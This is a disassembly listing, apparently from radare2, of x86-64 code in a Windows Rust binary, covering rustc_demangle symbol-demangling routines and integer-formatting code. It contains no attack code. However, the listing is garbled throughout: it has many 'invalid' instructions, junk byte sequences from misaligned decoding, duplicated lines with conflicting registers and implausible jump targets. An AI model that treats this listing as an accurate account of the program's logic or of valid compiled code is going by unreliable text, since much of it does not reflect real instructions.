mov rcx, r13
mov ecx, ebp
mov ecx, ebp
jmp 0x189ff6729
mov rdx, rsi
mov r9, rsi
int1
int1
call fcn.140108ac0
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
xor dword [rdi + rax], ebp
mov qword [rsp + 0x20], rax
mov rcx, r13
mov ecx, ebp
mov ecx, ebp
mov rdx, rsi
mov r9, rsi
call fcn.140108ac0
invalid
lodsb al, byte [rsi]
add eax, dword [rax]
invalid
mov esi, 0x480003ac
add byte [rax - 0x73], cl
add eax, 0x76df7
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
lea eax, [0x140144c00]
mov qword [rsp + 0x20], rax
mov r8d, 3
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
mov rdx, rbx
mov r9, rbx
call fcn.140108ac0
lodsb al, byte [rsi]
add eax, dword [rax]
invalid
lodsb al, byte [rsi]
add eax, dword [rax]
invalid
add ah, cl
int3
int3
int3
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa8
sub esp, 0xa8
sub esp, 0xa8
test al, 0
add byte [rax], al
lea rbp, [rsp + 0x80]
add byte [rax], al
mov r12, rdx
mov rax, qword [rcx]
mov rbx, qword [rax]
mov ebx, dword [rax]
mov ebx, dword [rax]
test rbx, rbx
je 0x1400ce8cb
add byte [rax], al
add byte [rax], al
mov rcx, qword [rax + 8]
mov qword [rbp + 0x18], rcx
mov rax, qword [rax + 0x10]
xor ecx, ecx
mov qword [rbp + 0x20], r12
and byte [rax - 0x77], cl
invalid
invalid
and byte [rax - 0x77], cl
add r11b, r13b
jmp 0x1400cdeab
nop word cs:[rax + rax]
jmp 0x1400cdeab
mov r12, qword [rbp + 0x20]
mov esp, dword [rbp + 0x20]
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov eax, dword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
mov rdx, r15
mov r8, r14
call qword [rax + 0x18]
test al, al
mov r15d, dword [rbp + 0xc]
mov rax, qword [rbp]
mov rcx, qword [rbp - 8]
jne 0x1400ce900
test dword [rbp + 0xa], edx
add byte [rax], al
test dword [rbp + 0xa], edx
add byte [rax], al
cmp rcx, rax
setne r15b
je 0x1400ce900
cmp qword [rbp + 0x18], 0
cmp dword [rbp + 0x18], 0
je 0x1400ce932
add byte [rax - 0x73], cl
add dword [r8 - 0x77], ecx
mov qword [rbp - 8], rax
lea rax, [rcx + 1]
mov qword [rbp - 8], rax
movzx edx, byte [rbx]
movzx eax, dl
mov r14, qword [rbp + 0x18]
lea r9, [r14 - 1]
xor r10d, r10d
mov r8d, edx
rol byte [rbp - 0x7c], 1
invalid
jns 0x1400cdf10
rol byte [rbp - 0x7c], 1
sar byte [rcx + 0x2c], 0xeb
jmp 0x1400cdf48
invalid
add byte [rax], al
add byte [rcx - 0x3f], al
shl ebx, 0xc
shl r11d, 0xc
shl ebx, 0xc
or edi, r11d
mov esi, edi
lea r13, [rbx + r10]
lea ebp, [rbx + rdx]
lea ebp, [rbx + rdx]
add esi, 0xffffffd0
cmp esi, 9
jbe 0x1400cdf24
jmp 0x1400cdfc0
add byte [rax], r8b
movzx esi, r8b
lea r13, [rbx + r10]
add esi, 0xffffffd0
cmp esi, 9
ja 0x1400cdfc0
cmp r9, r10
je 0x1400ce932
invalid
or al, byte [rax]
invalid
add eax, 0x4600000a
movzx eax, byte [rbx + rdx + 1]
invalid
movzx r8d, byte [rbx + r10 + 1]
add dword [rcx - 0x80], eax
clc
mov edi, 0xa2e8e0f
jle 0x1400ce96b
cmp r8b, 0xbf
jle 0x1400ce96b
or al, byte cs:[rax]
add byte [rcx - 1], cl
invalid
dec r14
inc r10
test r8b, r8b
jns 0x1400cdf10
mov r11d, r8d
and r11b, 0x1f
invalid
movzx r11d, r11b
movzx esi, byte [rbx + r10 + 1]
and esi, 0x3f
cmp r8b, 0xdf
jbe 0x1400cdfa0
invalid
movzx edi, byte [rbx + r10 + 2]
shl esi, 6
invalid
and edi, 0x3f
or edi, esi
test dword [rcx - 0x80], 0x820ff0f8
jbe 0x1400cdf77
invalid
invalid
invalid
test dword [rcx - 0x80], 0x820ff0f8
jbe 0x1400cdf77
invalid
invalid
movzx esi, byte [rbx + r10 + 3]
and r11d, 7
shl r11d, 0x12
jrcxz 0x1400cdf9a
jrcxz 0x1400cdf9a
shl edi, 6
and esi, 0x3f
or esi, edi
or esi, r11d
cmp esi, 0x110000
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
jne 0x1400cdfb0
adc eax, 0x992e9
add byte [rcx - 0x3f], al
jmp 0x1400ce932
shl r11d, 6
jrcxz 0x1400cdfaa
or r11d, esi
mov esi, r11d
nop word [rax + rax]
lea r13, [rbx + r10]
add esi, 0xffffffd0
cmp esi, 9
jbe 0x1400cdf24
invalid
invalid
invalid
mov r9, qword [rbp + 0x18]
sub r9, r14
je 0x1400cdfd4
cmp byte [rbx + r9], 0xbf
jle 0x1400cea15
cmp r9, 1
je 0x1400ce000
test r9, r9
je 0x1400cea0e
sub ecx, dword [rdx]
add byte [rax], al
sub ecx, dword [rdx]
add byte [rax], al
cmp dl, 0x2b
jne 0x1400ce020
inc rbx
lea rax, [r9 - 1]
cmp r9, 0x12
mov r9, rax
jb 0x1400ce030
jmp 0x1400ce070
mov dl, 1
cmp eax, 0x2b
je 0x1400ce940
mov r9d, 1
cmp eax, 0x2d
clc
invalid
jne 0x1400ce030
clc
sub eax, 0x25e91a75
or dword [rax], eax
add byte [rdi], cl
invalid
jmp 0x1400ce940
cmp r9, 0x11
jae 0x1400ce070
nop word cs:[rax + rax]
add byte [rax], al
xor edx, edx
xor eax, eax
nop word cs:[rax + rax]
movzx r10d, byte [rbx + rdx]
add r10d, 0xffffffd0
cmp r10d, 9
cmp edx, 9
cmp edx, 9
ja 0x1400ce93e
lea rax, [rax + rax*4]
mov r10d, r10d
lea rax, [r10 + rax*2]
inc rdx
cmp r9, rdx
jne 0x1400ce040
jmp 0x1400ce0b5
xor r10d, r10d
xor eax, eax
nop word cs:[rax + rax]
movzx r11d, byte [rbx + r10]
add r11d, 0xffffffd0
mov edx, 0xa
mul rdx
jo 0x1400ce98b
cmp r11d, 0xa
jae 0x1400ce93e
mov edx, r11d
add rax, rdx
jb 0x1400ce996
inc r10
cmp r9, r10
jne 0x1400ce080
test rax, rax
je 0x1400ce0d6
cmp r14, rax
jbe 0x1400ce0d0
cmp byte [r13 + rax], 0xbf
jg 0x1400ce0d6
jmp 0x1400ce9b7
jne 0x1400ce9b7
lea rbx, [rax + r13]
lea ebx, [rax + rbp]
mov rdx, qword [rbp - 8]
cmp rdx, qword [rbp]
jne 0x1400ce210
mov edx, dword [r12 + 0x34]
and edx, 4
je 0x1400ce210
add al, 0xf
test byte [rdx], bl
add dword [rax], eax
add byte [rcx - 0x80], al
clc
push 0x110850f
add byte [rax], al
cmp r8b, 0x68
jne 0x1400ce210
test rax, rax
je 0x1400ce210
cmp rax, 1
je 0x1400ce11a
cmp byte [r13 + 1], 0xbf
jle 0x1400cea52
lea rdx, [r13 + 1]
jmp 0x1400ce152
add rdx, 2
shl r9d, 6
or r9d, esi
mov r8d, r9d
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jb 0x1400ce152
nop dword [rax + rax]
or r8d, 0x20
add r8d, 0xffffff9f
cmp r8d, 6
cmp eax, 6
jae 0x1400ce210
cmp rdx, rbx
je 0x1400ce8fd
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
js 0x1400ce180
inc rdx
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ce140
jmp 0x1400ce152
invalid
mov r9d, r8d
and r9d, 0x1f
movzx esi, byte [rdx + 1]
and esi, 0x3f
cmp r8b, 0xdf
jbe 0x1400ce120
movzx r10d, byte [rdx + 2]
movzx edx, byte [rdx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x1400ce1e8
movzx r8d, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
shl ecx, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x1400ce8fd
add rdx, 4
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ce140
jmp 0x1400ce152
add rdx, 3
shl r9d, 0xc
or r10d, r9d
or al, 0x45
or edx, ecx
mov r8d, r10d
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ce140
jmp 0x1400ce152
invalid
test rcx, rcx
je 0x1400ce240
mov rcx, qword [r12 + 0x20]
mov r9, qword [r12 + 0x28]
mov r8d, 2
lea rdx, [0x140144ac8]
mov rsi, rax
call qword [r9 + 0x18]
mov ecx, eax
mov rax, rsi
test cl, cl
jne 0x1400ce900
cmp rax, 2
mov dword [rbp + 0xc], r15d
jb 0x1400ce25b
movzx ecx, word [r13]
cmp ecx, 0x245f
je 0x1400ce8b4
mov rcx, rax
sub r14, rax
mov qword [rbp + 0x18], r14
mov r15, r13
mov r14, rcx
test rcx, rcx
je 0x1400ce2c0
movzx eax, byte [r15]
cmp eax, 0x24
je 0x1400ce3d0
cmp eax, 0x2e
jne 0x1400ce2c0
cmp r14, 1
cmp r14, 1
jne 0x1400ce4c8
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov r8d, 1
lea rdx, [0x14014a349]
call qword [rax + 0x18]
test al, al
je 0x1400ce893
jmp case.0x14002a2ab.2046
lea rax, [r15 + r14]
xor r8d, r8d
mov rcx, r15
jmp 0x1400ce2f2
nop dword es:[rax]
lea r9, [rcx + 1]
cmp edx, 0x24
je 0x1400ce3a0
mov r8, rdi
sub r8, rcx
add r8, r9
mov rcx, r9
cmp edx, 0x2e
je 0x1400ce3a0
cmp rcx, rax
je 0x1400cde80
mov rdi, r8
movzx r9d, byte [rcx]
movzx edx, r9b
test dl, dl
jns 0x1400ce2d0
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x1400ce369
movzx r10d, byte [rcx + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp r9b, 0xf0
jb 0x1400ce382
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r10d, 6
and edx, 0x3f
or edx, r10d
or edx, r8d
cmp edx, 0x110000
je 0x1400cde80
lea r9, [rcx + 4]
cmp edx, 0x24
jne 0x1400ce2dd
jmp 0x1400ce3a0
lea r9, [rcx + 2]
shl r8d, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0x24
jne 0x1400ce2dd
jmp 0x1400ce3a0
lea r9, [rcx + 3]
shl r8d, 0xc
or r10d, r8d
mov edx, r10d
cmp edx, 0x24
jne 0x1400ce2dd
nop dword [rax]
test rdi, rdi
je 0x1400ce465
cmp r14, rdi
mov r12, qword [rbp + 0x20]
jbe 0x1400ce485
cmp byte [r15 + rdi], 0xbf
jg 0x1400ce48b
jmp 0x1400ce9d4
cmp r14, 1
je 0x1400ce3e1
cmp byte [r15 + 1], 0xbf
jle 0x1400cea5b
lea rax, [r14 - 1]
lea rdi, [r15 + 1]
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], rax
mov byte [rbp - 0x10], 1
movabs rax, 0x2400000024
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x38]
call fcn.1400c7f20
cmp qword [rbp - 0x50], 0
je 0x1400cde80
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xffffffffffffffff
je 0x1400cea30
lea r9, [rdx + 1]
cmp r14, 1
je 0x1400ce448
cmp byte [rdi], 0xc0
jl 0x1400ce99a
cmp r9, r14
jae 0x1400ce52a
cmp byte [r15 + r9], 0xc0
jl 0x1400ce99a
lea r13, [rdx + 2]
jmp 0x1400ce540
mov r12, qword [rbp + 0x20]
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov rdx, r15
xor r8d, r8d
call qword [rax + 0x18]
test al, al
je 0x1400ce4bd
jmp case.0x14002a2ab.2046
jne 0x1400ce9d4
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov rdx, r15
mov r8, rdi
call qword [rax + 0x18]
test al, al
jne case.0x14002a2ab.2046
cmp r14, rdi
jbe 0x1400ce4b7
cmp byte [r15 + rdi], 0xc0
jge 0x1400ce4bd
jmp case.0x140031ef2.1982
jne case.0x140031ef2.1982
sub r14, rdi
add r15, rdi
jmp 0x1400ce899
movzx ecx, byte [r15 + 1]
cmp cl, 0xbf
jle 0x1400cea64
movzx eax, cl
test cl, cl
js 0x1400ce812
cmp eax, 0x2e
jne 0x1400ce866
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov r8d, 2
lea rdx, [0x140144ac8]
call qword [rax + 0x18]
test al, al
jne case.0x14002a2ab.2046
cmp r14, 3
jb 0x1400ce51d
cmp byte [r15 + 2], 0xc0
jl 0x1400ceaca
add r14, 0xfffffffffffffffe
add r15, 2
jmp 0x1400ce899
jne 0x1400ce99a
mov r13, rdx
mov qword [rbp + 0x10], r14
mov rax, r15
add r13, 2
je 0x1400ce581
mov rax, r14
sub rax, r13
jbe 0x1400ce554
cmp byte [r15 + r13], 0xc0
jge 0x1400ce55a
jmp 0x1400cea35
jne 0x1400cea35
add r13, r15
cmp rdx, 1
mov r12, qword [rbp + 0x20]
mov qword [rbp + 0x10], rax
je 0x1400ce64c
cmp rdx, 2
je 0x1400ce59f
mov rax, r13
test rdx, rdx
je 0x1400cde80
cmp byte [r15 + 1], 0x75
jne 0x1400cde80
cmp byte [r15 + 2], 0xbf
mov r13, rax
jg 0x1400ce668
jmp 0x1400cea6d
movzx ecx, word [rdi]
lea rax, [0x140144b85]
cmp ecx, 0x5053
je 0x1400ce755
movzx ecx, word [rdi]
lea rax, [0x14014b170]
cmp ecx, 0x5042
je 0x1400ce755
movzx ecx, word [rdi]
lea rax, [0x140144b84]
cmp ecx, 0x4652
je 0x1400ce755
movzx ecx, word [rdi]
lea rax, [0x140144b83]
cmp ecx, 0x544c
je 0x1400ce755
movzx ecx, word [rdi]
lea rax, [0x140144b82]
cmp ecx, 0x5447
je 0x1400ce755
movzx ecx, word [rdi]
lea rax, [0x140144b81]
cmp ecx, 0x504c
je 0x1400ce755
movzx ecx, word [rdi]
lea rax, [0x14014e078]
cmp ecx, 0x5052
je 0x1400ce755
mov rax, r13
cmp byte [r15 + 1], 0x75
je 0x1400ce58c
jmp 0x1400cde80
movzx ecx, byte [rdi]
lea rax, str._____
cmp ecx, 0x43
je 0x1400ce755
cmp ecx, 0x75
jne 0x1400cde80
lea rcx, [r15 + 2]
add rdi, rdx
dec rdx
mov rax, rcx
jmp 0x1400ce69e
add rax, 2
shl r9d, 6
or r9d, esi
mov r8d, r9d
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jb 0x1400ce69e
nop
add r8d, 0xffffff9f
cmp r8d, 6
jae 0x1400ce77d
mov r12b, 1
cmp rax, rdi
je 0x1400ce780
movzx r11d, byte [rax]
movzx r8d, r11b
test r8b, r8b
js 0x1400ce6d0
inc rax
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ce690
jmp 0x1400ce69e
mov r9d, r8d
and r9d, 0x1f
movzx esi, byte [rax + 1]
and esi, 0x3f
cmp r8b, 0xdf
jbe 0x1400ce677
movzx r10d, byte [rax + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x1400ce734
movzx r8d, byte [rax + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
shl edx, 6
shl edx, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x1400ce780
add rax, 4
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ce690
jmp 0x1400ce69e
add rax, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ce690
jmp 0x1400ce69e
mov rcx, qword [r12 + 0x20]
mov r9, qword [r12 + 0x28]
mov r8d, 1
mov rdx, rax
call qword [r9 + 0x18]
test al, al
mov rcx, qword [rbp + 0x10]
je 0x1400ce265
jmp case.0x14002a2ab.2046
xor r12d, r12d
mov r8d, 0x10
call fcn.140019540
test al, 1
jne 0x1400cde80
shr rax, 0x20
mov ecx, eax
xor ecx, 0xd800
add ecx, 0xffef0000
cmp ecx, 0xffef0800
mov ecx, 0x110000
cmovb eax, ecx
cmp eax, 0x110000
sete cl
xor r12b, 1
or r12b, cl
jne 0x1400cde80
mov dword [rbp - 0x38], eax
mov ecx, eax
shl ecx, 0xb
cmp ecx, 0x88050000
jae 0x1400ce917
cmp eax, 0x20
jb 0x1400cde80
add eax, 0xffffff81
cmp eax, 0x21
jb 0x1400cde80
lea rcx, [rbp - 0x38]
mov r12, qword [rbp + 0x20]
mov rdx, r12
call fcn.140017f40
test al, al
mov rcx, qword [rbp + 0x10]
je 0x1400ce265
jmp case.0x14002a2ab.2046
and eax, 0x1f
movzx r8d, byte [r15 + 2]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x1400ce857
movzx edx, byte [r15 + 3]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp cl, 0xf0
jb 0x1400ce8a4
movzx ecx, byte [r15 + 4]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or eax, ecx
cmp eax, 0x2e
je 0x1400ce4ea
jmp 0x1400ce866
shl eax, 6
or eax, r8d
cmp eax, 0x2e
je 0x1400ce4ea
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov r8d, 1
lea rdx, [0x14014a349]
call qword [rax + 0x18]
test al, al
jne case.0x14002a2ab.2046
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x80], al
jg 0x1400ce88d
cmp byte [r15 + 1], 0xc0
ror byte [rdi], 0x8c
invalid
jl 0x1400ceaaa
dec r14
inc r15
mov rcx, r14
mov r13, r15
jmp 0x1400ce265
stc
invalid
invalid
stc
invalid
shl eax, 0xc
or eax, edx
cmp eax, 0x2e
je 0x1400ce4ea
jmp 0x1400ce866
cmp byte [r13 + 1], 0xbf
jle 0x1400cea8a
add byte [rax], al
add byte [rax], al
inc r13
lea rcx, [rax - 1]
jmp 0x1400ce25e
movups xmm0, xmmword [rax + 8]
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], 0
add byte [rax], al
add byte [rax], al
mov dword [rbp - 0x20], 0
mov qword [rbp - 0x18], r12
mov dword [rbp - 0x10], 0
lea rcx, [rbp - 0x38]
mov dl, 1
call fcn.1400c8370
invalid
invalid
inc dword [rcx - 0x77]
invalid
jmp 0x1400ce900
invalid
xor r15d, r15d
mov eax, r15d
add rsp, 0xa8
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, [0x140115d50]
mov ecx, 1
mov edx, 1
call fcn.1401085b0
mov r15b, 1
jmp 0x1400ce900
lea rcx, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
call fcn.140108970
mov dl, 1
mov byte [rbp - 0x38], dl
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
add byte [rax - 0x77], cl
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401448f8]
lea r8, [rbp - 0x38]
mov edx, 0x2b
add al, ch
jne 0x1400ce908
add eax, dword [rax]
add al, ch
jne 0x1400ce908
add eax, dword [rax]
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r13
mov rdx, r14
mov edx, esi
mov edx, esi
mov r9, r14
call fcn.140108ac0
xor edx, edx
cmp r11d, 0xa
adc dl, 1
jmp 0x1400ce940
mov dl, 2
jmp 0x1400ce940
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r15
mov rdx, r14
call fcn.140108ac0
invalid
lea rcx, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
or eax, 0x760f2
mov qword [rsp + 0x20], rcx
mov rcx, r13
and byte [rcx + rcx*4 - 0x17], cl
mov rdx, r14
mov r8, rax
mov r9, r14
call fcn.140108ac0
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
lea eax, [0x140144ae8]
mov qword [rsp + 0x20], rax
and al, 0x20
mov rcx, r15
mov rdx, r14
xor r8d, r8d
mov r9, rdi
call fcn.140108ac0
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
add eax, 0x76108
mov qword [rsp + 0x20], rax
and al, 0x20
mov rcx, r15
mov rdx, r14
mov r8, rdi
mov r9, r14
call fcn.140108ac0
invalid
add byte [rcx], dh
shr cl, cl
sub edi, edi
invalid
xor edx, edx
jmp 0x1400ce940
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
lea eax, [0x140144a80]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, qword [rbp + 0x18]
xor r8d, r8d
xor eax, eax
xor eax, eax
call fcn.140108ac0
call fcn.140108ae0
movabs al, byte [0x7610c058d480003]
add byte [rax - 0x77], cl
and al, 0x20
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, r14
mov edx, esi
mov edx, esi
mov r8, r13
mov r9, r14
call fcn.140108ac0
outsb dx, byte [rsi]
invalid
add eax, dword [rax]
outsb dx, byte [rsi]
movabs al, byte [0x75fdf0d8d480003]
add bl, ch
lea rax, ss:[0x140144b18]
invalid
lea rcx, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
jmp 0x1400cea91
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
add bl, ch
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
invalid
jmp 0x1400ceab1
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
add bl, ch
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
jmp 0x1400ceab1
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, rdi
mov r9, rdx
call fcn.140108ac0
invalid
invalid
add eax, dword [rax]
movabs al, byte ss:[0x7603f0d8d480003]
add byte [rax - 0x77], cl
and al, 0x20
lea rcx, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rcx
mov r8d, 1
mov rcx, r13
mov rdx, rax
invalid
ret 0x8949
mov r9, rax
call fcn.140108ac0
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r15
stc
stc
mov rdx, r14
mov r9, r14
call fcn.140108ac0
invalid
add byte [rax - 0x73], cl
add eax, 0x760cf
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 2
add byte [rax], al
add byte [rax], al
mov rcx, r15
mov rdx, r14
mov r9, r14
call fcn.140108ac0
int3
mov rbp, rsp
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x76531
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x76531
mov r8d, 0x12
pop rbp
jmp rax
int3
int3
or byte [rcx + 0xf], al
xchg edx, eax
rol dword [rcx + 8], 0xc1
movzx eax, r9b
mov qword [rcx], rax
test al, al
je 0x1400ceb45
mov al, 1
pop rbp
ret
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
mov ecx, dword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov rax, qword [rax + 0x18]
pop rbp
jmp rax
lea ebp, [rsp + 0x30]
mov dword [rbp - 4], 0
xor bh, al
cld
add byte [rax], al
add byte [rax], al
cmp edx, 0x80
jae 0x1400ceb87
mov byte [rbp - 4], dl
mov r8d, 1
jmp 0x1400cec08
mov eax, edx
cmp edx, 0x800
jae 0x1400cebaa
shr eax, 6
or al, 0xc0
mov byte [rbp - 4], al
and dl, 0x3f
or dl, 0x80
or byte [rax - 0x47be02ab], 2
add byte [rax], al
add bl, ch
pop rsi
or byte [rax - 0x47be02ab], 2
add byte [rax], al
add bl, ch
pop rsi
cmp edx, 0x10000
jae 0x1400cebd7
shr eax, 0xc
or al, 0xe0
mov byte [rbp - 4], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp - 3], al
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 2], dl
mov r8d, 3
jmp 0x1400cec08
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [rbp - 4], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rbp - 3], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp - 2], al
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 1], dl
mov r8d, 4
cmp qword [rcx], 0
setne al
xchg ebp, eax
ror byte [rcx + rbp + 0x41], 8
xchg ebp, eax
ror byte [rcx + rbp + 0x41], 8
setb dl
or dl, al
movzx edx, dl
xchg edx, eax
ret 0xc208
mov dh, 0xd2
mov qword [rcx], rdx
mov al, 1
test dl, dl
jne 0x1400cec37
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [rbp - 4]
call qword [rax + 0x18]
push rax
invalid
push rax
sbb byte [rax + 0x30c48348], dl
add esp, 0x30
nop
add rsp, 0x30
add esp, 0x30
add esp, 0x30
pop rbp
ret
hlt
int3
test al, 0
add byte [rax], al
movabs rdx, 0xabcc77118461cefd
mov rax, rcx
mul rdx
shr rdx, 0x1a
imul eax, edx, 0xfa0a1f00
or bh, dl
add ecx, eax
mov eax, 0xd1b71759
imul rax, rcx
shr rax, 0x2d
imul r9d, eax, 0x2710
sub ecx, r9d
imul r9, rax, 0x68db9
imul ecx, eax, 0x68db9
shr r9, 0x20
imul r9d, r9d, 0x2710
sub eax, r9d
imul r9d, ecx, 0x147b
shr r9d, 0x13
jmp 0x1097631d2
shr ecx, 0x13
imul r10d, r9d, 0x64
sub ecx, r10d
movzx ecx, cx
imul r10d, eax, 0x147b
shr r10d, 0x13
imul r11d, r10d, 0x64
sub eax, r11d
movzx eax, ax
lea r11, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx ecx, word [r11 + rcx*2]
mov word [r8 - 2], cx
movzx ecx, word [r11 + r9*2]
mov word [r8 - 4], cx
cld
movzx eax, word [r11 + rax*2]
mov word [r8 - 6], ax
movzx eax, word [r11 + r10*2]
mov word [r8 - 8], ax
add r8, 0xfffffffffffffff8
clc
mov rcx, rdx
cmp ecx, 0x2710
jb 0x1400cedd3
mov edx, 0xd1b71759
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
nop word cs:[rax + rax]
mov eax, ecx
imul rax, rdx
shr rax, 0x2d
imul r10d, eax, 0xffffd8f0
add r10d, ecx
imul r11, r10, 0x51eb851f
invalid
ficomp dword [rdi]
test ebx, ebp
push rcx
shr r11, 0x25
imul esi, r11d, 0x64
sub r10d, esi
movzx r10d, word [r9 + r10*2]
mov word [r8 - 2], r10w
movzx r10d, word [r9 + r11*2]
mov bh, 0x14
pop rcx
mov word [r8 - 4], r10w
add r8, 0xfffffffffffffffc
cmp ecx, 0x5f5e0ff
jmp rax
cmc
add eax, 0xb877c189
jmp rax
cmp eax, 0x63
jbe 0x1400cedba
movzx ecx, ax
mov bh, 0xc8
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul edx, ecx, 0x64
sub eax, edx
movzx eax, ax
lea rdx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
lea edx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
lea edx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
add byte [rdi], cl
mov bh, 4
mov word [r8 - 2], ax
movzx eax, word [rdx + rax*2]
mov word [r8 - 2], ax
add r8, 0xfffffffffffffffe
mov eax, ecx
cmp eax, 9
jbe 0x1400ceddc
mov eax, eax
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [rcx + rax*2]
mov word [r8 - 2], ax
pop rsi
ret
invalid
mov eax, ecx
cmp eax, 0x63
ja 0x1400ced8d
jmp 0x1400cedba
or al, 0x30
mov byte [r8 - 1], al
pop rsi
ret
mov ah, 0x24
mov al, 0
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0x90], xmm0
add byte [rax], al
